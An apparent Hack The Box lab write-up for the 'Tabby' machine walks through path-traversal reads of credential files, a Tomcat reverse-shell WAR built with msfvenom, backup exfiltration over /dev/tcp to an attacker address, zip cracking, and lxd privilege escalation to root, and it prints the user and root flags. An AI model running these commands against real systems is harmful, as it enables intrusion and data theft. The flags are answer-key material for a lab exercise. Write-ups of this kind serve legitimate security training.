Tabby — HTB Writeup¶
- IP: 10.129.22.189
- OS: Linux (Ubuntu/Debian)
- Difficulty: Easy
1. Enumeration¶
Full TCP port scan¶
nmap -p- --min-rate 3000 -Pn -oA nmap/tabbyNmapOpenPorts $IP
-p- — all 65,535 TCP ports.
- --min-rate 3000 — ≥3000 pkts/sec for speed.
- -Pn — skip ICMP host discovery (HTB drops ping).
- -oA — save .nmap/.gnmap/.xml.
Open ports: 22 (SSH), 80 (HTTP), 8080 (HTTP — Apache Tomcat)
Port 80 — Mega Hosting site¶
A "MEGA HOSTING" web hosting company site. The page references the hostname megahosting.htb.
Decision: Add vhost to /etc/hosts so name-based routing resolves:
echo "10.129.22.189 megahosting.htb" | sudo tee -a /etc/hosts
2. Foothold path — LFI → Tomcat creds¶
LFI path traversal in news.php¶
The "News" link points to:
http://megahosting.htb/news.php?file=statement
file= parameter is passed straight into fopen() with no sanitization. Viewing the source of news.php itself via the LFI confirms the vulnerable code:
<?php
$file = $_GET['file'];
$fh = fopen("files/$file","r");
while ($line = fgets($fh)) {
echo($line);
}
fclose($fh);
?>
files/$file), allowing ../ traversal out of the files/ directory.
Proof — read /etc/passwd:
http://megahosting.htb/news.php?file=../../../../etc/passwd
What success looks like: raw file contents echoed back in the response.
/etc/passwdis the canonical confirmation read.
Leak Tomcat credentials¶
Port 8080 is Apache Tomcat 9. On Debian/Ubuntu the tomcat9 package stores its user config at a non-standard location (NOT $CATALINA_HOME/conf/):
- /usr/share/tomcat9/etc/tomcat-users.xml
- /etc/tomcat9/tomcat-users.xml
Path confirmed via docs: - https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379 - https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html
Read it through the LFI:
http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
At the bottom of the file:
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
Credential: tomcat:$3cureP4s5w0rd123! — roles admin-gui, manager-script.
Verify access on port 8080¶
http://10.129.22.189:8080/→ default Tomcat "It works" page.- Logged into the Tomcat virtual host manager (
host-manager) with the creds.
Key gotcha: the role is
manager-script, NOTmanager-gui. The browser-based "Manager App" deploy page will return 403 Forbidden. WAR deployment must go through the text/script API (/manager/text/...), not the GUI.
3. Foothold — Tomcat WAR deploy (RCE as tomcat)¶
Because the role is manager-script (not manager-gui), the WAR is deployed through the text API, not the browser. Reference exploit: https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00
Where does
/manager/text/deploycome from? (not the LFI!) This is a known, built-in Tomcat Manager API route — the same for every Tomcat 9 — documented inmanager-howto.html(the same doc that gave us thetomcat-users.xmlpath). It is declared, not discovered — unlike the LFI filesystem path (../../etc/...) which is traversed on disk. Decoding the URL:/manager/= the Manager App,text/= the scripted interface (vshtml/= browser GUI),deploy= the command, and?path=/shell= the context path you choose for your app — which is why the trigger step iscurl .../shell/(it must match thepath=you set). Confirm the API is live withcurl -u '<creds>' http://$IP:8080/manager/text/list.
# build a JSP reverse-shell WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<tun0> LPORT=4444 -f war -o shell.war
# deploy via the text manager API
curl -u 'tomcat:$3cureP4s5w0rd123!' --upload-file shell.war \
"http://$IP:8080/manager/text/deploy?path=/shell"
# listener, then trigger
nc -lvnp 4444
curl "http://$IP:8080/shell/"
4. Lateral movement — tomcat → ash¶
Find files owned by ash¶
We know ash exists from /etc/passwd. Hunt for files they own:
find / -user ash 2>/dev/null
/var/www/html/files
/var/www/html/files/16162020_backup.zip
Exfil the backup zip¶
No web path to it, so pull it over a raw TCP socket (/dev/tcp):
# attack machine
nc -lvnp 8888 > 16162020_backup.zip
# target
cat /var/www/html/files/16162020_backup.zip > /dev/tcp/10.10.14.175/8888
/dev/tcp: bash built-in, no upload tooling needed on target; reliable for binary transfer to a waiting nc.
Crack the zip password¶
zip2john 16162020_backup.zip > cracked
john --wordlist=/usr/share/wordlists/rockyou.txt cracked
admin@it (16162020_backup.zip)
Password reuse → su ash¶
The zip password is reused as ash's system password:
su ash # password: admin@it
whoami # ash
cat ~/user.txt
# b732434208e8015102dba7937f074598
User flag: b732434208e8015102dba7937f074598
5. Privilege escalation — lxd group → root¶
linpeas (and id) confirmed ash is in the lxd group. Membership of lxd is root-equivalent: it lets you spin up a privileged container and mount the host filesystem inside it as root.
Reference: https://steflan-security.com/linux-privilege-escalation-exploiting-the-lxc-lxd-groups/
Build the Alpine image (attack machine — target has no internet)¶
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine # produces alpine-v3.xx-x86_64-*.tar.gz
python3 -m http.server 6666 # serve it to the target
Import, mount host /, and read root.txt (on target as ash)¶
# pull the image from kali, then:
lxc image import ./alpine-v3.24-x86_64-20260627_1535.tar.gz --alias myimage
lxd init # accept all defaults (creates storage pool + bridge)
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
lxd init — first run needs a storage pool + network bridge; all defaults are fine.
- -c security.privileged=true — container root maps to host root (no UID remap).
- disk source=/ ... path=/mnt/root recursive=true — mounts the entire host / into the container at /mnt/root, read/write.
Inside the container we are root, with the host filesystem at /mnt/root:
whoami # root
cat /mnt/root/root/root.txt
# 80aa1fdd311ffa4ad9ab3f69bc01d645
Root flag: 80aa1fdd311ffa4ad9ab3f69bc01d645
Why it works: the
lxddaemon runs as root. Anyone in thelxdgroup can instruct it to create a privileged container and bind-mount any host path — including/— giving full read/write to the host as root. This is documented LXD behaviour, not a bug, which is whylxdgroup membership = game over.
Lessons Learned¶
- LFI to leak config, not just
/etc/passwd. Once LFI is confirmed, pivot to leaking app config files that hold credentials — here the Tomcat users file gave a direct RCE path. find / -user <name>is the fast way to locate a known user's files when you can't read their home directly — surfaced the backup zip./dev/tcpfor exfil when the target lacks scp/curl-upload:cat file > /dev/tcp/IP/PORTinto a listeningnc.- Crack-then-reuse: a cracked archive password is worth trying as the owner's system password (
su). Password reuse is the bridge from a loot file to an interactive account. lxdgroup = root. Any user inlxdcan mount the host/inside a privileged container and read/write it as root. Always checkid/groupsforlxd,docker,disk,adm— these container/device groups are root-equivalent.- Build the LXD image offline. Target HTB boxes have no internet, so
build-alpineruns on Kali and the tarball is served overpython3 -m http.server. Thetar: Ignoring unknown extended header keywordwarnings during build are harmless. - Know the distro's config paths. Debian/Ubuntu
tomcat9splits config to/etc/tomcat9/and/usr/share/tomcat9/etc/rather than the upstreamconf/directory. When the obvious path fails, check the OS package layout. - Tomcat roles matter for the attack method.
manager-gui= browser deploy;manager-script= text API deploy. Same WAR, different delivery — pick the method your role allows or you'll hit a 403. -oAneeds the output dir to exist first. nmap fails silently to the file (writes nothing) if the target directory is missing — alwaysmkdirthe working dirs before scanning.
Evidence¶
evidence/— Mega Hosting site, LFI source disclosure, /etc/passwd dump, Tomcat "It works", virtual host manager login.